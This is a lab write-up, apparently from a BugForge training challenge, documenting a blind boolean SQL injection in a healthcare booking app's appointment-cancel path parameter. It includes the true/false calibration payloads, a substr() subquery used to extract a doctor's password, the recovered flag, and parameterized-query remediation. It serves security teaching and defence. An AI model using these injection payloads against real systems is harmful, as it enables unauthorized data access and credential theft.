BugForge — 2026.05.22

Appointments: Blind Boolean SQL Injection in a Path Parameter

BugForge Blind Boolean SQL Injection easy

Part 1: Pentest Report

Executive Summary

The target is a healthcare appointment-booking application with two roles, patient and doctor, fronted by static HTML pages and a JSON API under /api/*, with HS256 JWT authentication. Testing an ordinary patient account found that the appointment cancellation endpoint interpolates its numeric path parameter directly into a SQL statement, allowing a blind boolean SQL injection.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Blind boolean SQL injection in the appointment cancellation path parameter High 8.8 CWE-89 POST /api/appointments/:id/cancel

F1 lets any authenticated patient read arbitrary data from the application database. It was used to extract another user’s stored password value one character at a time. CVSS raw math places it at 8.8 (High); given that it is the finding that discloses the flag and grants full database read access, it is treated as Critical in practical terms.


Objective

Assess the appointment-booking application from the position of a registered patient and identify a vulnerability that discloses the engagement flag.


Scope / Initial Access

# Target Application
URL: https://lab-1779319314603-iev1lh.labs-app.bugforge.io
# (lab redeploys on fresh instances; hostname rotates per instance)

# Auth details
Registration: POST /api/auth/register {username, password, full_name}
              -> 201; no role field is sent, the server assigns the role
Login:        POST /api/auth/login -> {token, user}
Token:        HS256 JWT, claims {id, username, role, full_name, iat, exp}
              exp = iat + 2h
Test identity: haxor / id 5 / role patient / own appointment id 5

Registration accepts only username, password, and full_name. The role is assigned server-side and is not client-controllable at registration.


Reconnaissance: Walking the Booking Flow

The application surface was mapped by registering a patient account and walking the booking flow end to end: listing doctors and reasons, creating an appointment, viewing it, and cancelling it. The following observations shaped the test plan.

  1. GET /api/appointments returns the caller’s own appointments in a trimmed view (date, time, reason name, status, doctor name). POST /api/appointments/:id/cancel, by contrast, echoes the full underlying database row for the appointment: {id, doctor_id, patient_id, reason_id, status}.
  2. The cancel endpoint takes the appointment id as a numeric segment in the URL path (/api/appointments/5/cancel), not as a query string or body field.
  3. The cancel response varies depending on whether the supplied id resolves to an appointment. The success path and the non-resolving path produce distinguishable responses, which gives a usable signal channel even with no error output.

Observation 2 made the numeric path segment the primary injection candidate; observation 3 confirmed a response difference was available to use as a boolean oracle.


Application Architecture

Component Detail
Backend JSON API under /api/*; backend framework not identified
Frontend Static HTML pages (login.html, patient-dashboard.html, doctor-dashboard.html) with an auth.js client-side role guard
Auth HS256 JWT, claims {id, username, role, full_name, iat, exp}, 2-hour expiry
Database SQL database; substr() and length() available, exact engine not identified

API Surface

Endpoint Method Auth Notes
/api/auth/register POST No {username, password, full_name} returns 201; role assigned server-side
/api/auth/login POST No Returns {token, user}
/api/doctors GET Yes [{id, username}]
/api/reasons GET Yes 7 canned appointment reasons
/api/appointments GET Yes Caller’s own appointments (trimmed view)
/api/appointments POST Yes Create appointment
/api/appointments/:id/cancel POST Yes Cancel; echoes the full appointment row. Injectable

Known Users

Username ID Role
dr.smith 1 doctor
dr.jones 2 doctor
haxor 5 patient

Attack Chain Visualization

┌───────────────────┐   ┌────────────────────────┐   ┌─────────────────────┐   ┌──────────────────────┐
│ Patient JWT       │   │ POST /api/appointments/│   │ Inject boolean      │   │ Binary search        │
│ (HS256, role      │──▶│ :id/cancel, numeric    │──▶│ subquery into :id   │──▶│ substr(password,i,1) │
│ patient, id 5)    │   │ id in the URL path     │   │ TRUE/FALSE oracle   │   │ dr.jones password    │
└───────────────────┘   └────────────────────────┘   └─────────────────────┘   └──────────────────────┘

Findings

F1: Blind boolean SQL injection in the appointment cancellation path parameter

Severity: High (Critical in practical terms; see Executive Summary) CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) Endpoint: POST /api/appointments/:id/cancel Authentication required: Yes (any patient account)

Description

The appointment id supplied in the URL path of POST /api/appointments/:id/cancel is interpolated directly into a SQL statement without parameterization or integer validation. Appending ` and ()` after the id turns the request into a boolean test: when `` is true the request still resolves appointment 5 and returns the success response; when it is false the appointment does not resolve and the response differs measurably. There is no SQL error channel, so extraction is performed blind, using that response difference as a TRUE/FALSE oracle. Searching `substr()` output one character at a time, via binary search over the charset, extracts arbitrary column data from any table.

Impact

Allows any authenticated patient to read arbitrary data from the application database, including other users’ stored password values.

Reproduction

Step 1: Authenticate as a patient

POST /api/auth/login HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","password":"<password>"}

Response: 200 with {"token":"eyJ...", "user":{...}}. The token is used as Authorization: Bearer on all subsequent requests.

Step 2: Establish the baseline cancel response

POST /api/appointments/5/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0

Response: 200, echoing the full row {id:5, doctor_id, patient_id:5, reason_id, status}. This is the TRUE branch reference response.

Step 3: Calibrate the boolean oracle

Send the id with a condition known to be true and one known to be false appended:

POST /api/appointments/5 and (1=1)/cancel HTTP/2
POST /api/appointments/5 and (1=2)/cancel HTTP/2

The 1=1 request matches the Step 2 baseline; the 1=2 request differs measurably (status code or response body length). A measurable difference between the two confirms the id is concatenated into a SQL query unsanitized, and fixes the discriminator used for extraction.

Step 4: Extract a target column character by character

Inject a substr() subquery and compare each character against the charset. The request below tests whether the 22nd character of dr.jones’s password is P:

POST /api/appointments/5 and (select substr(password,22,1) from users where username='dr.jones')='P'/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0

Response: matches the TRUE branch, so the 22nd character is P. Repeating this as a binary search over the charset (about 7 requests per character) recovers the full value. The extraction was automated with extract.py, which auto-calibrates the oracle, detects database case sensitivity, and binary-searches length() and each substr() position.

Recovered value (users.password for dr.jones):

bug{ie1EWTcf7HdgnF4P8Pgxcjkh05XZ6MTU}

Remediation

Fix 1: Validate the id, then bind it as a query parameter

Example shown in Node.js style; the principle is identical across stacks.

// BEFORE (Vulnerable): id concatenated straight into the query
app.post('/api/appointments/:id/cancel', (req, res) => {
  const id = req.params.id;
  db.query(`UPDATE appointments SET status='cancelled' WHERE id=${id}`);
  // ...
});

// AFTER (Secure): reject non-integer ids, then bind id as a parameter
app.post('/api/appointments/:id/cancel', (req, res) => {
  const id = Number(req.params.id);
  if (!Number.isInteger(id)) {
    return res.status(400).json({ error: 'invalid appointment id' });
  }
  db.query(
    'UPDATE appointments SET status=$1 WHERE id=$2 AND patient_id=$3',
    ['cancelled', id, req.user.id]
  );
  // ...
});

Additional recommendations:

  • Validate every numeric path and query parameter as an integer at the route boundary, before it reaches the data layer.
  • Audit sibling routes that accept numeric path parameters (GET /api/appointments/:id and similar) for the same concatenation pattern.
  • Use an ORM or query builder that parameterizes by default, so raw string interpolation into SQL is never the path of least resistance.
  • Scope the cancel query to the caller (AND patient_id = :caller) so the endpoint cannot act on or resolve appointments the caller does not own.

OWASP Top 10 Coverage

  • A03:2021 Injection: The numeric appointment id is concatenated into a SQL statement without parameterization or input validation, allowing a blind boolean SQL injection that reads arbitrary database content.

Tools Used

Tool Purpose
HTTP intercepting proxy Capturing and replaying the cancel request with the injected path
extract.py Auto-calibrating boolean-based blind extractor: oracle calibration, case sensitivity detection, per-character binary search

References


Part 2: Notes / Knowledge

Key Learnings

  • A numeric path segment is a SQL injection sink. Probe it like any query string or body parameter. Path parameters read as routing structure rather than user input, so they draw far less injection testing than ?id= query params and JSON body fields. A numeric :id interpolated into a query is the same defect with the same fix. The injection lands between the id and the rest of the route, leaving the trailing path intact (/api/appointments/5 and (<subquery>)/cancel). Any route with a numeric path segment is a candidate.

Failed Approaches

Approach Result Why It Failed
Bypass the client-side role guard auth.js guardAuth() enforces role routing only in the browser; it is bypassable Bypassing it only changes which dashboard renders. The flag is the dr.jones password value, reached via SQL injection, not by reaching the doctor UI
Stored XSS via full_name / appointment reason full_name renders through textContent; appointment fields render through escapeHtml Output is encoded at every observed sink, so there is no injection point

Tags: #sqli #blind-sqli #boolean-based #path-parameter #bugforge #webapp Document Version: 1.0 Last Updated: 2026-05-22

#sqli #blind-sqli #boolean-based #path-parameter #bugforge